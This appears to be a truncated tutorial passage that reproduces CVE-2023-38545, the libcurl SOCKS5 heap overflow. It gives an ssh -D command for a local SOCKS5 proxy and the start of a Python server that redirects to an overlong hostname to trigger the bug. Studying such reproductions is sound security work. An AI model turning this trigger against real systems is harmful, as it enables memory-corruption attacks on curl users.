Disclaimer

This article is intended solely for technical discussion and learning. Any direct or indirect consequences or losses caused by the use of the information provided herein shall be borne solely by the user. The author assumes no responsibility for such consequences or losses.

CVE-2023-38545: libcurl-SOCKS5-heap-buffer-overflow

Reference project: https://github.com/UTsweetyfish/CVE-2023-38545 Let's reproduce it.

Reproduction Steps:

1. Run the following command to start a SOCKS5 service listening on port 10801:```jsx ssh -D 10801 127.0.0.1

1. Create a Python file: server.py, create a web service that returns a 301 response with an overly long hostname, listening on port 8000, then execute with python3:```jsx
from http.server import BaseHTTPRequestHandler, HTTPServer

class RequestHandler(BaseHTTPRequestHandler):
    def do_GET(self):
        # 301重定向到超长的URL
        self.send_response(301)

---

Read more